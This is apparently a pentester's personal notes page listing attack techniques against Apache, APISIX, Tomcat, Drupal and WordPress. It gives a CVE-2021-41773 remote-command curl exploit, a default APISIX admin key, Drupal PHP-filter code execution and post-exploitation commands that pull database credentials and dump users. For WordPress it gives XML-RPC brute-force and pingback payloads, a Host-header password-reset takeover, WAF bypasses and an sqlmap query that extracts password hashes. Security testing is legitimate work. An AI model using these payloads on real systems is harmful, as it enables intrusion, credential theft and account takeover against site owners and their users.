Description

Welcome to my website where i will store my personal penetration testing notes. Felt it was only fair to give back my knowledge of hacking to the hacking community! The goal of these notes are to spread hacking techniques around to other pentesters and by doing so, making the world more secure. Who knows, maybe by using a technique or two, you might've finally found that one piece of information to chain several vulnerabilities together and PWN that website.

DISCLAIMER

Please do not see my notes as fact as there may be discrepencies in the notes. There may be areas where i've not researched enough or i've misunderstood something. I tend to just "write before thinking". Therefore i encourage your own research on top of mine.

Some information I share may have been taken from other peoples pentesting notes or research, this is why i have included them within the Source to give credit back to the person who taught me.

Contact

If there's any information that needs adjusting, misinformation or there's a cool new technique to be added into the notes, feel free to contact me!

  • Email:
[email protected]

Apache

Apache HTTP Server is an open-source webserver software. Vast majority runs on a Linux but there are cases where it's run on a Windows too.

Apache Documentation

APISIX

It's possible to access the APISIX's Admin API by using the default access token. Therefore, an attacker can interact with the server as an administrator which can lead to a takeover of the server.

Default path:

/apisix

Default API Key

edd1c9f034335f136f87ad84b625c8f1

"Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access all endpoints of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x version. This module also leverages another vulnerability to bypass the IP restriction plugin."

Axis2

If Apache Axis2 is installed on this application server. It's possible to access a specific URL, listing all the available web services deployed by the server.

/services/listServices

Apache Axis2 installation includes a JSP page accessible at axis2-web/HappyAxis.jsp that discloses a lot of sensitive information. An attacker could use this information to conduct further attacks.

/axis2-web/
/axis2-web/HappyAxis.jsp

Apache <=2.4.54

Post Apache 2.4.54, disables /server-status directory by default. All other versions before Apache 2.4.54 keeps this directory on by default, which may have been forgotten and give you access to this sensitive directory!

/server-status

server-status sample

Apache 2.4.49 RCE

CVE-2021-41773 is a vulnerability where an attacker may perform an RCE on a webserver running Apache 2.4.49

Exploit

curl http://example.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'

File Enumeration via Pseudo Directory Listing

mod_negotiation is an Apache module responsible for selecting the document that best matches the clients capabilities, from one of several available documents. If the client provides an invalid Accept header, the server will respond with a 406 Not Acceptable error containing a pseudo directory listing. This behaviour can help an attacker to learn more about the target, such as generate a list of base names, generate a list of interesting extensions or look for backup files etc

Exploit

Add something invalid to the Accept header

GET /index HTTP/1.1
Host: www.example.com
Accept: test

In this instance, a brute force attempt was made towards the index endpoint. This is because it's likely that an application has the file called index.html.

RequestResponse Code
Existing file406 Not Acceptable
Non-existing file404 Not Found

Pseudo Directory

Remediation

Disable the MultiViews directive from Apache's configuration file. You can disable MultiViews by creating a .htaccess file containing the following line:

Options -Multiviews

Common Apache Directories

Sensitive directories that may display interesting information

Server-Info

This endpoint displays information about the Apache configuration. If this is not in use, disable it or only let authorized users access this endpoint.

/server-info

Server-status Sample

Server-Status

This endpoint displays information about the Apache status. If this is not in use, disable it or only let authorized users access this endpoint.

/server-status

Server-status Sample

Tomcat Default Installation File

/docs/index.html
/html/

Tomcat Web Application Manager

The endpoint may provide server information and more. Additionally, msfvenom can be used to create an RCE infused .WAR file and upload it to the webserver.

/manager/html

Tomcat Web Application Manager Sample Image

Tomcat Examples Directory

Link Apache Tomcat's default installation contains the /examples directory which has many example servlets and JSP files. Some of these examples are a security risk and should not be deployed on a production server. The sessions example servlet, allows session manipulation. Because the session is global this servlet poses a big security risk as an attacker can potentially become an administrator by manipulating the session.

Session Manipulation:

Researchers keep mentioning that the session can be manipulated at this endpoint. I have not succeeded with anything alike and only managed to create POST and GET test requests that reflects in the response.

/examples/servlets/servlet/SessionExample

Request Information

Usually an Internal IP address exposed within the X-Forwarded-For header.

/examples/servlets/servlet/RequestHeaderExample

RequestHeaderExample Sample

This will create a cookie for the client user. Do note that it also does not have the HttpOnly or Secure flag set on the created cookie.

/examples/servlets/servlet/CookieExample

CookieExample1 Sample

Note the server header exclaims NginX. This tells me that either the application spoof the header value or had Apache Tomcat at some point before switching over to NginX. In the end, the files could be a rest from switching to a different server and/or have not been removed/restricted. CookieExample2 Sample

Drupal

Am open-source CMS written in PHP. Majority run on a Unix-like system but instances where Windows have been the host.

Drupal Documentation

Default Paths

/core/install.php
/core/update.php
/core/INSTALL.mysql.txt
/core/INSTALL.pgsql.txt
/core/INSTALL.sqlite.txt
/core/MAINTAINERS.txt
/core/CHANGELOG.txt
/core/INSTALL.txt
/core/UPDATE.txt

Login Page

/user
/user/login

Register Page

/user/register

Page Enumeration

/node/<number>

Module Enumeration

/modules/<plugin_name>

Other Potential Directories

These paths may help identify if the application you are testing is a Drupal or not in case all the other endpoints above fail:

/presscentre/update.php
/presscentre/install.php
/presscentre/modules/color/preview.html
/presscentre/themes/bartik/color/preview.html
/presscentre/modules/simpletest/files/html-2.html

Potential Source code disclosure

Read more about transliteration_data.php.txt as it could be useful information if this thing is used on the application!

/core/scripts/transliteration_data.php.txt

Destination Parameter

Destination parameter exists, which may allow for an Unvalidated Redirect to be used against a victim if trusted_host_patterns is not configured properly

destination=https://example.com

RCE with Admin Credentials

The PHP plugin is meant to be used for PHP code and the issue here is that the attacker is not supposed to have access to an administrator account Interesting info about PHP filter

Requirements:

  • The PHP plugin to be installed on the application
  • Access to an administrator account

How to check existing plugins?

The default path for Drupal plugins

/modules/<plugin_name>

When it comes to checking what plugins are installed on the application, it does not require authentication. To do this, send a GET request towards the following endpoint to check if the PHP plugin exists:

/modules/php
Response CodeIntel Info
403 ForbiddenPlugin is Installed
404 Not FoundPlugin is not Installed

Performing the RCE

This is the part where Admin access is required.

Finding the PHP filter plugin

  1. Login to the application with the Administrator account
  2. Navigate to the Modules section and note the PHP filter plugin enabled/disabled

Drupal Plugin Image

  1. Press Save configuration > Add content > Basic Page || Article
  2. Write the PHP shell code within the Body
  3. Select PHP code in the Text format menu

Drupal RCE Image

  1. STONKS!

POST Exploitation

  • Read settings.php
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
  • Dump users from DB (Adapt it accordingly)
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

WordPress

WordPress is a web content management system. It was originally created as a tool to publish blogs but has evolved to support publishing other web content, including more traditional websites, mailing lists and Internet forum, media galleries, membership sites, learning management systems and online stores.

Programmed in: PHP Hypertext Preprocessor

Back-end SQL: MySQL (Majority use this) or MariaDB

OS: 90% it's ran on Unix-like system, but can be ran on Windows

WordPress Roles:

Super Admin - Can manage network settings, users, themes, and plugins across all site(s)

Administrator - Has full access to all features and settings within the site

Editor - Can publish and manage posts, including those of other users

Author - Can publish and manage their own posts

Contributor - Can write and manage their own posts but cannot publish them

Subscriber - Can only read content and manage their own profile

Defaut Crefentials:

Source

Now days it generates a password, but back in the days, this was the defult.

admin:password

WordPress Documentation

WordPress Methodology

  • Missing Headers
    • Content-Security-Policy
    • X-Content-Type-Options
    • X-Frame-Options - RFC7034 Documentation
    • Strict-Transport-Security - RFC6797 Documentation
      • max-age attribute must be above 31536000 seconds (365 days)
      • includeSubdomains attribute set? (To include subdomains)
      • prelaod attribute must be set
      • Is the domain registered within the preload list? (Specifically TLD+1)
  • Fuzz through all the HTTP Methods/Verbs
  • Mess with the Host header. See Host Header Exploitation and WP <=4.7.4
    • Send without a value in Host header
    • Send only the URI without any Host header and HTTP/1.0 (eg. GET / HTTP/1.0)
  • OSINT
    • Check /robots.txt for exposed/interesting endpoints
    • Check archive.org for exposed/interesting endpoints
    • Check <INSERT_SEARCH_ENGIE> for exposed/interesting endpoints (eg site:www.example.com inurl:/author/)
    • Gather all Emails and Usernames that may hint towards an email - Check for Password leaks online
  • Check if WordPress login is Publicly Exposed
    • Check if Registration page is accessible (Disabled by default)
    • Test for Client-Side ReDOS via vulnerable zxcvbn
    • User Enumeration - Make use of WAF Bypasses
      • User Enumeration via Response Error Messages in Login /wp-login.php
      • User Enumeration via Response Error Messages in Forgot Password /wp-login.php?action=lostpassword
      • Time-Based User Enumeration in Login /wp-login.php
      • Time-Based User Enumeration in Forgot Password /wp-login.php?action=lostpassword
    • Anti-automation - Make use of WAF Bypasses
      • Anti-automation via Login /wp-login.php
      • Anti-automation via Forgot Password /wp-login.php?action=lostpassword
  • User Exposure via Multiple Endpoints
/feed/
/feed/rdf/
/feed/rss/
/feed/rss2/
/feed/atom/
/?feed=rdf
/?feed=rss
/?feed=rss2
/?feed=atom
/wp-rdf.php
/wp-rss.php
/wp-rss2.php
/wp-atom.php
/search/<FUZZ_THROUGH_ALPHABET_AND_NUMBERS>/feed/rdf/
/search/<FUZZ_THROUGH_ALPHABET_AND_NUMBERS>/feed/rss/
/search/<FUZZ_THROUGH_ALPHABET_AND_NUMBERS>/feed/rss2/
/search/<FUZZ_THROUGH_ALPHABET_AND_NUMBERS>/feed/atom/
/?author=1
/?s=<FUZZ_THROUGH_ALPHABET_AND_NUMBERS>
/?search=<FUZZ_THROUGH_ALPHABET_AND_NUMBERS>
/author-sitemap.xml
/author/<USERNAME>/
/wp-json/wp/v2/users
/wp-json/wp/v2/uSErS
/wp-json/wp/v2/users/1/
/wp-json/wp/v2/uSErS/1/
/?rest_route=/wp/v2/users
/?rest_route=/wp/v2/uSErS
/?rest_route=/wp/v2/users/1
/?rest_route=/wp/v2/uSErS/1
/wp-sitemap-users-1.xml
/wp-json/oembed/1.0/embed?url=https://<VICTIM_WEBSITE>/
/wp-json/oembed/1.0/embed?url=https://<VICTIM_WEBSITE>/&format=xml
/wp-json/oembed/1.0/embed?url=https://<VICTIM_WEBSITE>/&format=js
  • Directory discovery by fuzzing root page
  • Check for Vulnerable Components (Client-side and Server-side components)
  • Check for Vulnerable Plugins /wp-content/plugins/<PLUGIN>/
  • Check for Vulnerable Themes /wp-content/themes/<THEME>/
    • Fuzz from /wp-content/themes/<THEME>/FUZZ endpoint and onwards (only if custom made theme is in use)
  • Check for Vulnerable /xmlrpc.php - See this page
  • WAF bypass (WPEngine) - See this page
  • Check for /wp-cron.php if it's a 200 OK response
  • Non-protected Google Maps API key - See this page
  • Perform a portscan
sudo nmap -p- -sS <DOMAIN>
  • Fuzz through all the default WordPress parameters - See this page
/?s=search_term
/?search=search_term
/?p=n
/?page=n
/?author=X
  • Check common places for Directory Listing - site:www.example.com intitle:"index of"
    • Check /wp-includes/ for enabled listing
    • Check /wp-content/ for enabled listing
    • Check /wp-content/uploads/ for enabled listing
    • Check /wp-content/plugins/<PLUGIN>/ for enabled listing
    • Check /wp-content/themes/<THEME>/ for enabled listing
  • Check REST API for interesting/uncommon endpoints - Potential hidden SQLi/XSS parameters in these /wp-json/
  • Check for Log and Backup Files in root, /wp-content/* and /wp-content/uploads/* - See this page
  • Check for a potential Verbose Error Message /wp-links-opml.php?link_cat[]
  • Attempt to access WPEngine's Database Credentials /_wpeprivate/config.json || /_wpeprivate/config%2Ejson
  • Attempt to access WordPress Configuration file
/wp-config.php
/wp-config%2Ephp
/wp-config.php.save
/wp-config%2Ephp.save

TIP:

  • Manual Vulnerability Review of Component/Version:
https://wpscan.com/plugin/<PLUGIN>/
https://wpscan.com/theme/<THEME>/
https://wpscan.com/wordpress/654/
  • Check out a Plugins Source Code for vulnerabilities:
https://plugins.trac.wordpress.org/browser/<PLUGIN>/
  • SQLmap sample syntax:
sqlmap -r request.txt --random-agent -v 3 --tamper="between,randomcase,space2comment" --level 3 --technique=B --dbms=mysql --suffix=")--" --string="Test" --sql-query="select user_login,user_pass from wp_users"
  • WPscan sample syntax:
wpscan --url www.example.com --api-token <API_KEY> --random-user-agent

Main Page

Default main page

/index.php

Potential Version Disclosure

Contains potential useful information such as the version of WordPress installed (In very old WordPress versions)

/license.txt

Email Service

Used for the email activation process when setting up a new WordPress site

/wp-activate.php

Login Page

Default login page for WordPress. Sometimes certain paths are blocked, so test all of them. You might be redirected to the correct login path if it's been changed.

/wp-login.php
/wp/wp-login.php
/wp-login/
/login/
/wp-admin.php
/wp-admin/
/wordpresswp-admin/wp-login.php

Hidden Admin Login

Sometimes the login page are well hidden and a simple /wp-admin/ request is insufficient to be redirected to the login page. This is another way to be able to find where the login page may be. Navigate to the following URL (ID parameter value might need to be adjusted):

/wp-admin/post.php?id=123

If successful you may, in some instances, be able to grep for must-log-in. What you will see is the following string, exposing the endpoint where the admin login page is located on the application:

<p class="must-log-in">You must be <a href="https://example.com/path-to-admin-panel.php/?redirect_to=https%3A%2F%2Fexample.com%2Fen%2F404%2F">logged in</a> to post a comment.</p>

Default Administration Page

Default administration panel for WordPress - Need to be authenticated to access this page

/wp-admin.php

Developers API

An API for developers to talk with their application. For some reason, it's active by default. Here you may perform pingbacks with the pingback.ping method to either use it in a DDOS attack towards other applications, pingback as in receiving information such as version number of the WP site and more. It is also possible to make the application brute force it's own users with the wp.getUsersBlogs method. In combination with system.multicall method, multiple users may be brute forced with one request alone, leading to a potential DOS. Read more about this within XML-RPC

/xmlrpc.php

Plugin and Theme Storage

Directory where the Plugins and Themes are stored within the application. Directory Listing often seen!

/wp-content/

File Upload Storage

The directory where any files uploaded to the platform are stored. Unless there's a plugin and it's uploaded elsewhere. Directory Listing often seen!

/wp-content/uploads/

Core Files

This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets. Directory Listing often seen!

/wp-includes/

Configuration File

Contains the information such as database name, database host, usernames, passwords, authentication keys, salts and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can be useful when troubleshooting.

/wp-config.php
/wp-config.php.save

User Database

When this file is accessed, a heavy MySQL query is performed in the background, which means it could be used by attackers to perform a DoS depending on how many users are registered within the application.

/wp-cron.php

This one does not seem to be the same as wp-cron.php. It looks like it only has some "instructions" for wp-cron.php. Nothing else can be exploited here!

/wp-includes/cron.php

Registered Users

Shows you a list of users registered on the application! Sometimes the application uses a WAF that is case sensitive. Because of the case sensitivity, the latest one would then potentially work

/wp-json/wp/v2/users
/?rest_route=/wp/v2/users
/?rest_route=/wp/v2/uSeRS

Register Page

Register page. Keep in mind that the default WordPress keeps this endpoint disabled. If lucky, an admin might've used it at a later date and forgotten to disable it. The parameters tend to make a difference as it, on occasion, uses JavaScript for you to access the form of registration.

/wp-register.php
/wp/wp-login.php
/wp-login.php?action=register
/wp/wp-login.php?action=register
/wp-signup.php
/wp/wp-signup.php

Default Readme File

If the meta tag has been disabled, check for the presence of /readme.html from root of the install. Early versions of WordPress had the version right there at the top of the readme.html file. Newer versions of WordPress have removed the version from the file.

/readme.html

Page Content via REST API

There may be an Internal Host Disclosure within this page. Being able to find administrative pages or other parts of the application that may not be in use or are otherwise inaccessabe by normal navigation on the site. Such as pages containing contact forms or upload functionalities that may have been forgotten. Remember to keep enumerating. Just because it might end at 300, doesn't mean there's no page with an ID of 794. These "gaps" happens when pages are deleted and new ones are created. If page 1,2,3,4 have been removed, but page 5 exists, you will see some data leading to that endpoint.

/wp-json/wp/v2/pages
/wp-json/wp/v2/pages/<ID>

Public Comments via REST API

Navigating to one of the URLs, you will see pages that contains public comments. In the link parameter, you will see the page with the comments made from the WordPress users. author_name parameter is not the same as the actual author which is the name used to log in to the WordPress account.

/wp-json/wp/v2/comments
/wp-json/wp/v2/comments/<ID>

More Generator Locations

Generator tag exposes the WordPress version. Additionally, the feed paths tend to expose registered users or at least their nicknames. Get these verified within a user enumeration before believing they're users on the app.

/feed/
/feed/rss/
/feed/rss2/
/feed/rdf/
/feed/atom/
/wp-rdf.php
/wp-rss.php
/wp-rss2.php
/wp-atom.php

You have an additional "feed" section after the search field which may disclose users and/or WordPress version

/search/{search_here}/feed/rss2/

It may also work with the rest_route parameter in case WAF blocks stuff

wp-links-opml.php

The endpoint is used to export links from one blog post to another. This exposes the Generator meta tag as well, revealing the WordPress version. Adding the secondary payload, may expose an internal path:

/wp-links-opml.php
/wp-links-opml.php?link_cat[]

WPEngine Database Credentials

WPEngine is a provider of managed WordPress hosting. WPEngine creates a folder named _wpeprivate that contains the config.json file. This file contains highly sensitive information such as WPEngine database credentials and should not be publicly accessible. It was confirmed that in some instances, it's possible to access this file without authorization. Seeing signs of WPEngine, test for this!

/_wpeprivate/config.json

Search

/?s=search_term
/?search=search_term

You can search within this fielt if the s or search parameter is blocked

/search/{search_here}/

These are the parameters used on WordPress sites. There have been instances of SQL injection on this parameter despite this is a default parameter. I would assume it's because the admin have done something custom, or because some plugin they have installed is vulnerable to this. In some instances, a search function isn't seen on the website. Adding the search parameter, may allow you to still search within the application if the function isn't disabled.

Page Enumeration

/?p=n
/?page=n

Replace n with an integer to enumerate the application's pages. If you are lucky, a sensitive function might be exposed, like a file upload or other sensitive information. Many times it's a lot of garbage posts and you may need to enumerate for a long time. Remember that if the WordPress site is old, that eg 0-1k may not result in pages, but 1k and onwards might result in positive responses. This is because some pages/posts may have been removed at some point.

User Enumeration

/?author=X

Replace X with an integer to enumerate the application's usernames. This will reveal the username by either redirecting you through a 3xx response code and may reveal the username within the location header or forward you directly with a 200 OK response to the authors page through /author/admin where admin is the username used to sign into the application.

These are a couple of other bypasses if a WAF, plugin or filter blocks your requests. In this instance, a user with the integer X is enumerated (Change to a desired value):

/?author={num:X}
/?author={X}
/?author=%X
/?author=%25X
/?author=aX
/?author[]=X

WAF Bypass - Rest API

This could potentially bypass a WAF if the WAF only checks the path and not the parameter value

/?rest_route=
/?rest_route=/wp/v2/users

WAF bypass - Feed endpoint

/?feed=rss
/?feed=rss2
/?feed=rdf
/?feed=atom

WordPress Enumeration and User Exposure

This section is devided into two parts. User Enumeration and User Exposure. The key differences is that in User Enumeration, it's possible to verify that a username or email is registered on the application. The User Exposer may, in some instances, not be a username and be a Nickname. WordPress have this feature where nicknames can be created and in some instances, these are exposed. This is why it's very important to verify User Exposure users with User Enumeration vulnerabilities to cnfirm that the user is registered on the application.

User Enumeration

Note: It's advised, if some endpoints are hidden or locked behind a WAF, to review the Default Directories to reach the desired endpoints.

Author Directory

The /author/* directory may be fuzzed for users, indexed via Search Engines or exposed via the REST API.

https://example.com/author/admin/

Author Parameter

/?author=X

Replace X with an integer to enumerate the application's usernames. This will reveal the username by either redirecting you through a 3xx response code and may reveal the username within the location header or forward you directly with a 200 OK response to the authors page through /author/admin where admin is the username used to sign into the application.

These are a couple of other bypasses if a WAF, plugin or filter blocks your requests. In this instance, a user with the integer X is enumerated (Change to a desired value):

/?author={num:X}
/?author={X}
/?author=%X
/?author=%25X
/?author=aX
/?author[]=X

Login Page

A way to enumerate usernames are within the Administrative Interface that usually is found within the /wp-login.php directory. When attempting to authenticate with an existing user and a random password, one error message is sent to the client. When a non-existing user and a random password is sent, another error message is shown.

RequestResponse
Wrong Username / Wrong PasswordInvalid username
Correct Username / Wrong PasswordPassword is incorrect for user admin

Left side shows a non-existing user, right side shows an existing user. Each request sent with a wrong password. Login Enumeration Picture

Request Sample For Authenticating:

POST /wp-login.php HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded

log=admin&pwd=password&wp-submit=Log+In&redirect_to=https%3A%2F%2Fwww.example.com%2Fwp-admin%2F&testcookie=1

Password Reset Page

A way to enumerate usernames, once again, is via the forgotten password following directory.

/wp-login.php?action=lostpassword
RequestResponse
Wrong Username / EmailUser does not exist!
Correct Username / EmailCheck email for confirmation link! (Or note the 3xx redirect)

Reset Password Enumeration Picture

Request Sample For Resetting Password:

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded

user_login=admin&redirect_to=&wp-submit=Get+New+Password

XML-RPC

Use WordPress built in API to enumerate or brute force users. Please see the XML-RPC page for more information.

User Exposure

Feed Directories

The following endpoints may, in some instances, reveal the registered users on the application. Their name are exposed within the <dc:creator> XML parameter

/feed/
/feed/rss/
/feed/rss2/
/feed/rdf/
/feed/atom/

Same endpoint as above, but used to bypass WAF:

/?feed=rss
/?feed=rss2
/?feed=rdf
/?feed=atom

Google Hacking/Dorking

Change www.example.com to your target website

site:www.example.com inurl:/author/

Search Parameter

The /?search=test or /?s=test is a Default Parameter in WordPress. It can be used to search through out the blog and search for the keyword author within the source code. At times, just one character may not help - Be sure to type in more into the parameter value! Maybe let burps intruder fuzz from a-z and observe the different sized responses

WP-json - Embed / Users

  • Embed

Append the &format=xml or &format=js to the URLs below in order to potentially expose an Author.

Note: Note how the value of the url parameter can be URL-encoded and an existing path within the application can be appended to it if a WAF blocks the request or the application doesn't respond the way you want it to due to different configurations.

/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.example.com%2F&format=xml
/wp-json/oembed/1.0/embed?url=https://www.example.com/gdpr/&format=js

Imagine there is a /work/about-us/ endpoint on the application. This could also be a valid endpoint

/wp-json/oembed/1.0/embed?url=/work/about-us/
  • Users

This endpoint reveals existing users on the application:

/wp-json/wp/v2/users

If the endpoint /wp-json/wp/v2/users/ is restricted, adding an integer or making it capitalized fuzzing the integer may get results!

/wp-json/wp/v2/users/1/
/wp-json/wp/v2/Users

wp-json user exposure picture

Yoast SEO Plugin

This endpoint may be accessed if Yoast is present on the WordPress application. It will not show all authors, but some authors:

/author-sitemap.xml

yoast user exposure picture

Logs and Backup Files

When users and administrators use random plugins, these plugins may sometimes be insecure or the administrator just do not know how to secure a website. Here are a few path's to always check for loot!

Do note that a common bypass for a 4xx response is to URL-encode the dot to a %2e. It may let you access it! 403 Bypasser can be a good tool of assistance.

Debug Log

/wp-content/debug.log
/wp-content/debug%2elog

Log file sometimes exsts in paths with country code directories (yes, it had wp-admin there too and worked)

/fr/wp-admin/wp-content/debug.log

Sometimes the file is too large to display within burpsuite or web browser and is tedious to download. The Range header may help retrieve a partial content of the logfile and can be adjusted accordingly.

curl -H 'Range: bytes=0-1024' '<DOMAIN>'

Zipped Uploads Folder

/wp-content/uploads.zip
/wp-content/uploads.tar.gz
/wp-content/uploads.7z
/wp-content/backup.zip
/wp-content/backup.tar.gz
/wp-content/backup.7z

Custom

Let's say a victims website is named BananaLogistics.co.uk. If so, there's a high probability the backup file may be named similar to the name of the website or company.

BananaLogistics.co.uk.7z
BananaLogistics.co.uk.zip
BananaLogistics.co.uk.tar.gz
BananaLogistics.7z
BananaLogistics.zip
BananaLogistics.tar.gz

WordPress Account Takeover

The CVE-2017-8295 allows an attacker to modify the Host header to let the password reset token be sent and cause an account takeover. This is before WordPress <= 4.7.4

POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: <COLLABORATOR.COM>
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password

WordPress SSRF

In old WordPress Versions, an adversary could perform an SSRF at the following endpoint. You could for example receive an HTTP request from this request. Change example.com and <COLLABORATOR_HERE> accordingly:

  • Embed:
https://example.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2F<COLLABORATOR_HERE>%2F
  • Proxy:
https://example.com/wp-json/oembed/1.0/proxy?url=https%3A%2F%2F<COLLABORATOR_HERE>%2F

WordPress Yoast Plugin

Yoast SEO Plugin is an insanely popular plugin. Some directories exposes the websites structure if the plugin is active on the website. Remember that Plugin Fuzzing does work for version fingerprinting installed plugins!

/sitemap_index.xml
/wp-sitemap.xml
/sitemap.xml

If the main sitemap is restricted, one may potentially reach them through the following paths:

/author-sitemap.xml
/page-sitemap.xml
/wp-sitemap-users-1.xml
/post-sitemap.xml

If custom ones are made, it usually looks similar to the following samples. Edit <CATEGORY> to a category on the application eg. subscribers-sitemap.xml

/<CATEGORY>-sitemap.xml
/wp-sitemap-<CATEGORY>.xml

Yoast SEO picture example

WordPress Fuzzing

Collection of curls and explanations where, within the directories, to fuzz for plugins or themes

TIP: Review Custom Browser Search

Extracting Plugins

curl -s http://example.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2

What can now be done is to copy and store all the plugin names and paste it within WPScan website!

https://wpscan.com/plugin/<PLUGIN>/

The highlighted text in yellow are the plugin names that can be used in the URL above

wp-plugins

Be sure to fuzz the /wp-content/plugins/ directory. Exchange <PLUGIN> with the plugins.txt wordlist. This Plugin Scraper can be a good tool to generate a brand new list of currently active plugins. Do test an old list as well because some plugins violate WordPress guidelines or are archived/closed where new vulnerabilities won't be patched and thus removed from the store. The vulnerable WordPress website, may however installed it in a custom way or when the plugin was active once upon a time. Do note the / in the end of the directory

/wp-content/plugins/<PLUGIN>/

At times, depending on the configuration, you must have pointed the URL towards a file, such as a readme.txt. This is because, depending on the configuration, the app won't respond accordingly to the responses below.

Plugin StatusResponse
Existing Plugin403 Forbidden or 200 OK (blank response)
Non-Existing Plugin404 Not Found

CloudFlare/WAF may block some plugins too with a 403 Forbidden response. However, once the plugins have been identified, fuzz through each text file within each existing plugin with readme.txt, README.txt, changelog.txt or CHANGELOG.txt.

Example: The plugin Contact Form 7 have been identified and readme.txt was the text file fuzzed

/wp-content/plugins/contact-form-7/readme.txt

The Stable Tag: X.X.X indicated the version for the plugin.

Extracting Themes

curl -s http://example.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2

As observed in the plugin-segment above, you can do the same search on WPScan website!

https://wpscan.com/theme/<THEME>

Be sure to fuzz the /wp-content/themes/ directory. Exchange <FUZZ> with the beast.txt wordlist. The reason why it is very important to fuzz the Theme directory, is because most companies want their own custom made theme. Usually a developer lacking in security awareness will program these theme's. For some reason they aren't seen as "sensitive" and therefore may reveal very interesting and useful files like metafiles.

Example: The theme astra have been identified. Fuzz from this directory and onwards

/wp-content/themes/astra/<FUZZ>

XMLRPC

XML-RPC is a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This is used for developers to be able to talk to their application and for the application to talk to other applications. An example could be a client completing a form, gets redirected to another application with the answers of the completed form being displayed by the first application sending it to the second application. XMLRPC is enabled by default on a freshly installed WordPress application and are often forgotten.

One cool thing is that most WAFs do not protect the /xmlrpc.php endpoint.

Hello Method

Application says hello! A good way to see if the API is broken or not:

<methodCall>
<methodName>demo.sayHello</methodName>
<params></params>
</methodCall>

List Method

The first step to see available methods to exploit

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Pingback Method

This method is often used in DDoS attacks as this will make the application send a HTTP request towards a victim. If an adversary pings their collaborator, one may see additional information such as version numbers of components in use and more. Change collaborator.com to the target that should receive a HTTP request. vulnerable-website.com/news/blog should be a valid blogpost path on the vulnerable application. Usually it works with root directory, but depending on it's configuration, it's not a valid blogpost path and another endpoint may be need to be used in the attack. Sometimes outbound HTTP requests are blocked and a few DNS lookups are made instead.

<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param>
      <value>
	  <string>https://collaborator.com/PoC</string>
	  </value>
    </param>
    <param>
      <value>
	  <string>https://vulnerable-website.com/news/blog</string>
	  </value>
    </param>
  </params>
</methodCall>

GetUserBlogs Method

Great method to brute force a singular user. Change USERNAME to a username or email address. Change the PASSWORD to desired values

<methodCall>
	<methodName>wp.getUsersBlogs</methodName>
	<params>
		<param><value>USERNAME</value></param>
		<param><value>PASSWORD</value></param>
	</params>
</methodCall>

Multicall Method

This is a cool one because this will let an adversary to let the application brute force their own users. The two bottom sections may be copy pasted multiple times within a request until the application can't handle it anymore. In this inastance, two users are brute forced simultaneously. Change USERNAME and PASSWORD to desireed values.

<methodCall><methodName>system.multicall</methodName><params><param><value><array><data>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>USERNAME</string></value><value><string>PASSWORD</string></value></data></array></value></data></array></value></member></struct></value>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>USERNAME</string></value><value><string>PASSWORD</string></value></data></array></value></data></array></value></member></struct></value>

403 Bypass for XMLRPC

Developers try to remediate this issue by restricting access to the /xmlrpc.php endpoint. When, if not in use, one should turn it off completely.

NOTE: application/x-www-form-urlencoded may need to be altered to application/xml in some cases to bypass the restrictions in place. Variations of these methods can lead to a successful response. The User-Agent may not be necesary but in my expereince, some restrictive measures force this header to have a value.

Method 1 - URL-encoding dot

Sometimes, the restriction in place allows a URL-encoded dot

POST /xmlrpc%2ephp HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 86

<methodCall>
<methodName>demo.sayHello</methodName>
<params></params>
</methodCall>

Method 2 - Header Bypass

POST / HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Content-Type: application/x-www-form-urlencoded
X-Rewrite-Url: xmlrpc.php
Content-Length: 86

<methodCall>
<methodName>demo.sayHello</methodName>
<params></params>
</methodCall>

Method 3 - HTTP/HTTPS

Do all of these methods both via HTTP and HTTPS

Web Application Firewall (WAF) Bypass

It is common that a WordPress appliction is hosted within WPEngine. This hosting provider has a feature for their customers to use if they want a reverse proxy (Like proxying Cloudflare). However, the administrators does tend to misconfigure this feture from time to time and this is how to test and exploit them. Follow the mindmap below

MindMap

XMLRPC

Sometimes WPEngine blocks access to /xmlrpc.php and returns a 403 Forbidden. Keep in mind that some security oriented Plugins can also protect this endpoint. To bypass this, simply add either an X-Forwarded-For or True-Client-IP header without a value. This endpoint does not have a "rate limit exeeded" which the other two might have. See xmlrpc page for more info

GET /xmlrpc.php HTTP/1.1
Host: www.example.com
X-Forwarded-For:

Login - Anti-Automation

Spamming this endpoint might IP block you after a few tries. A 403 Forbidden response when the password is wrong and a 503 Service Unavailable when IP blocked. Cloudflare sometimes sends a 520 response but it is usually a on time thing. Bypassing the IP block may be done with X-Forwrded-For or True-Client-IP header with no value.

Forgot Password - Anti-Automtion

